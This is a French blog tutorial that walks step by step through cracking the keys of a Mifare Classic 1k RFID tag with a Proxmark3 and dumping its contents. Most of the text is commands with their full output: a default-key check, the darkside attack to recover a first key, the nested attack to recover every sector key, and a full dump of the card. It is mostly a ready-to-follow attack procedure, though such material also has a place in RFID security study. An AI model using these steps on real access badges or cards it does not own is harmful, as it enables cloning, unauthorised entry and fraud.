» » Mifare Classic 1k - cracker les clefs et lire le tag avec Proxmark3
Information
  • Vu(s): 1 460
  • Auteur: bouzdeck
  • Date: 10-10-2015, 20:06
10-10-2015, 20:06

Mifare Classic 1k - cracker les clefs et lire le tag avec Proxmark3

Catégorie: RFID


Proxmark3 est un outil puissant, mais il est encore en phase de développement et très mal documenté (car souvent obsolète). Certains noms de fonctions sont parlants, mais d'autres beaucoup moins !
Voici un petit article récapitulant les commandes pour récupérer les clefs d'un tag Mifare Classic.

Prérequis et contexte

J'utilise Proxmark3 dans la version suivante :

proxmark3> hw version
#db# Prox/RFID mark3 RFID instrument                 
#db# bootrom: master/v1.1.0-60-g4be9e75-suspect 2014-12-28 09:43:52                 
#db# os: master/v1.1.0-60-g4be9e75-suspect 2014-12-28 09:43:52                 
#db# HF FPGA image built on 2014/ 6/19 at 21:26: 2

Les tags Mifare Classic utilise l'algorithme crypto1 pour stocker les données. Chaque secteur est protégé par des clefs et des bits d'accès. Je ne vais pas faire l'explication complète ici, mais vous trouverez un bel article ici : https://pmo.io/blog/cloning-mifare-about-the-attacks.html.

Ce qu'il faut retenir :

  • Les tags Mifare Classic sont obsolètes. Il y a toujours un moyen d'obtenir les données
  • Avec une seule clef connue, on peut obtenir toutes les autres clefs du tag.
  • Sans clef connue, il existe une attaque permettant d'obtenir une clef A.

Attention : Mifare PRO et Mifare DESfire implémentent respectivement le 3DES et AES pour stocker les données. Mais Mifare Classic est encore le plus utilisé de nos jours !

Etape 1 : vérifier le type de tag

proxmark3> hf 14a read
ATQA : 04 00          
 UID : 37 42 5d bc           
 SAK : 08 [2]          
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1          
proprietary non iso14443a-4 card found, RATS not supported

Etape 2 : tester les clefs par défaut

Suivant les constructeurs, il existe des clefs souvent utilisées par défaut. La plus fréquente reste évidemment FFFFFFFFFFFF. Proxmark3 permet d'en tester plusieurs.

proxmark3> hf mf chk *1 ? t
No key specified,try default keys          
chk default key[0] ffffffffffff          
chk default key[1] 000000000000          
chk default key[2] a0a1a2a3a4a5          
chk default key[3] b0b1b2b3b4b5          
chk default key[4] aabbccddeeff          
chk default key[5] 4d3a99c351dd          
chk default key[6] 1a982c7e459a          
chk default key[7] d3f7d3f7d3f7          
chk default key[8] 714c5c886e97          
chk default key[9] 587ee5f9350f          
chk default key[10] a0478cc39091          
chk default key[11] 533cb6c723f6          
chk default key[12] 8fd0a4f256e9          
--SectorsCnt:0 block no:0x03 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:1 block no:0x07 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:2 block no:0x0b key type:A key count:13           
Found valid key:[ffffffffffff]          
[...]        
--SectorsCnt:14 block no:0x3b key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:15 block no:0x3f key type:B key count:13           
Found valid key:[ffffffffffff]

Si vous avez au moins une clef connue, vous pouvez passer directement à l'étape 4.

Etape 3 : trouver une clef avec la darkside attack (si aucune clef par défaut trouvée)

proxmark3 hf mf mifare-------------------------------------------------------------------------Executing command. Expected execution time: 25sec on average  :-)Press the key on the proxmark3 device to abort both proxmark3 and client.-------------------------------------------------------------------------..#db# Mifare: Can't select card                 #db# Mifare: Can't select card                 #db# Mifare: Can't select card                 .#db# Mifare: Can't select card                 #db# Mifare: Can't select card                 #db# Mifare: Can't select card                 #db# Mifare: Can't select card                 #db# Mifare: Can't select card                 #db# Mifare: Can't select card                 #db# Mifare: Can't select card                 #db# Mifare: Can't select card                 #db# Mifare: Can't select card                 .#db# Mifare: Can't select card                 #db# Mifare: Can't select carduid(07d875e9) nt(230736f6) par(0000000000000000) ks(0a01020a0e030502) nr(00000000)|diff|{nr}    |ks3|ks3^5|parity         |+----+--------+---+-----+---------------+| 00 |00000000| a |  f  |0,0,0,0,0,0,0,0|| 20 |00000020| 1 |  4  |0,0,0,0,0,0,0,0|| 40 |00000040| 2 |  7  |0,0,0,0,0,0,0,0|| 60 |00000060| a |  f  |0,0,0,0,0,0,0,0|| 80 |00000080| e |  b  |0,0,0,0,0,0,0,0|| a0 |000000a0| 3 |  6  |0,0,0,0,0,0,0,0|| c0 |000000c0| 5 |  0  |0,0,0,0,0,0,0,0|| e0 |000000e0| 2 |  7  |0,0,0,0,0,0,0,0|parity is all zero,try special attack!just wait for few more seconds...          [...]uid(07d875e9) nt(230736f6) par(0000000000000000) ks(000c0a0d0100040e) nr(00000003)|diff|{nr}    |ks3|ks3^5|parity         |+----+--------+---+-----+---------------+| 00 |00000003| 0 |  5  |0,0,0,0,0,0,0,0|| 20 |00000023| c |  9  |0,0,0,0,0,0,0,0|| 40 |00000043| a |  f  |0,0,0,0,0,0,0,0|| 60 |00000063| d |  8  |0,0,0,0,0,0,0,0|| 80 |00000083| 1 |  4  |0,0,0,0,0,0,0,0|| a0 |000000a3| 0 |  5  |0,0,0,0,0,0,0,0|| c0 |000000c3| 4 |  1  |0,0,0,0,0,0,0,0|| e0 |000000e3| e |  b  |0,0,0,0,0,0,0,0|parity is all zero,try special attack!just wait for few more seconds...      [...]p1:25f p2:16a p3:0 key:fea888e785e7p1:59e4 p2:33e3 p3:1 key:d0124cd4d948p1:8acc p2:4ff1 p3:2 key:b627bb411678p1:8f8c p2:52e8 p3:3 key:b37e7c8c9decp1:96fc p2:5779 p3:4 key:af820209e150p1:9e3b p2:5b91 p3:5 key:abcdefbeef99p1:9ee2 p2:5beb p3:6 key:ab749d3f7bdbp1:ab82 p2:6399 p3:7 key:a495a1b1c2dep1:ab96 p2:63aa p3:8 key:a48a7418d458p1:1283d p2:ac9d p3:9 key:627968f09f8cp1:1400d p2:bad0 p3:a key:559a7e62c02bp1:149b6 p2:c0c0 p3:b key:505488c6ee31p1:17c48 p2:de2c p3:c key:35c52970c03bp1:18202 p2:e16d p3:d key:32b89a8b35edkey_count:14------------------------------------------------------------------Key found:abcdefbeef99Found valid key:abcdefbeef99

Etape 4 : nested attack - récupérer toutes les clefs avec une clef connue

La commande suivante vous permet de retrouver toutes les clefs à partir d'une clef connue :

hf mf nested <type mifare> <num block> <A ou B> <clef> <dump ou mémoire>
proxmark3> hf mf nested 1 3 A FFFFFFFFFFFF d
--block no:03 key type:00 key:ff ff ff ff ff ff  etrans:0          
Block shift=3          
Testing known keys. Sector count=16          
nested...          
Time in nested: 0.006 (inf sec per key)
-----------------------------------------------
Iterations count: 0

|---|----------------|---|----------------|---|          
|sec|key A           |res|key B           |res|          
|---|----------------|---|----------------|---|          
|000|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|001|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|002|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|003|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|004|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|005|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|006|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|007|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|008|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|009|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|010|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|011|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|012|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|013|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|014|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|015|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|---|----------------|---|----------------|---|          
Printing keys to bynary file dumpkeys.bin...          
proxmark3> 
proxmark3> hf mf chk *1 ? t
No key specified,try default keys          
chk default key[0] ffffffffffff          
chk default key[1] 000000000000          
chk default key[2] a0a1a2a3a4a5          
chk default key[3] b0b1b2b3b4b5          
chk default key[4] aabbccddeeff          
chk default key[5] 4d3a99c351dd          
chk default key[6] 1a982c7e459a          
chk default key[7] d3f7d3f7d3f7          
chk default key[8] 714c5c886e97          
chk default key[9] 587ee5f9350f          
chk default key[10] a0478cc39091          
chk default key[11] 533cb6c723f6          
chk default key[12] 8fd0a4f256e9          
--SectorsCnt:0 block no:0x03 key type:A key count:13           
Waiting for a response from the proxmark...          
Don't forget to cancel its operation first by pressing on the button          
--SectorsCnt:1 block no:0x07 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:2 block no:0x0b key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:3 block no:0x0f key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:4 block no:0x13 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:5 block no:0x17 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:6 block no:0x1b key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:7 block no:0x1f key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:8 block no:0x23 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:9 block no:0x27 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:10 block no:0x2b key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:11 block no:0x2f key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:12 block no:0x33 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:13 block no:0x37 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:14 block no:0x3b key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:15 block no:0x3f key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:0 block no:0x03 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:1 block no:0x07 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:2 block no:0x0b key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:3 block no:0x0f key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:4 block no:0x13 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:5 block no:0x17 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:6 block no:0x1b key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:7 block no:0x1f key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:8 block no:0x23 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:9 block no:0x27 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:10 block no:0x2b key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:11 block no:0x2f key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:12 block no:0x33 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:13 block no:0x37 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:14 block no:0x3b key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:15 block no:0x3f key type:B key count:13           
Found valid key:[ffffffffffff]          
proxmark3> hf mf nested 1 7 A FFFFFFFFFFFF d
--block no:07 key type:00 key:ff ff ff ff ff ff  etrans:0          
Block shift=3          
Testing known keys. Sector count=16          
nested...          
-----------------------------------------------          
uid:07d875e9 len=2 trgbl=3 trgkey=0          
Found valid key:abcdefbeef99          
Time in nested: 0.513 (0.513 sec per key)
-----------------------------------------------
Iterations count: 1

|---|----------------|---|----------------|---|          
|sec|key A           |res|key B           |res|          
|---|----------------|---|----------------|---|          
|000|  abcdefbeef99  | 1 |  ffffffffffff  | 1 |          
|001|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|002|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|003|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|004|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|005|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|006|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|007|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|008|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|009|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|010|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|011|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|012|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|013|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|014|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|015|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|---|----------------|---|----------------|---|          
Printing keys to bynary file dumpkeys.bin...

Etape 5 : dump du tag avec les clefs obtenues

Une fois que vous avez obtenu toutes les clefs de tous les secteurs, vous pouvez dumper votre tag.
Dans Proxmark3, les clefs sont enregistrées automatiquement dansdumpkeys.bin. La commande de dump va utiliser ce fichier, et enregistrer le dump dans dumpdata.bin.

proxmark3> hf mf dump
|-----------------------------------------|          
|------ Reading sector access bits...-----|          
|-----------------------------------------|          
Command execute timeout          
Sending bytes to proxmark failed          
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
[...]           
|-----------------------------------------|          
|----- Dumping all blocks to file... -----|          
|-----------------------------------------|          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
[...]

Pour lire le dump, vous pouvez utiliser n'importe quel éditeur hexadécimal.
Je vous recommande 010Editor qui dispose d'un template pour Mifare 1k et vous permet de visualiser les différentes zones directement :

Mifare 1k code hexadécimal

Vous pouvez aussi utiliser un script fourni avec le client Proxmark pour faire un export HTML du fichier dump.

proxmark3> script run htmldump
--- Executing: ./scripts/htmldump.lua, args''
Wrote a HTML dump to the file 2015-01-04_115401.html
-----Finished

Mifare 1k proxmark html

скачать dle 11.3
Information
Users of Invité are not allowed to comment this publication.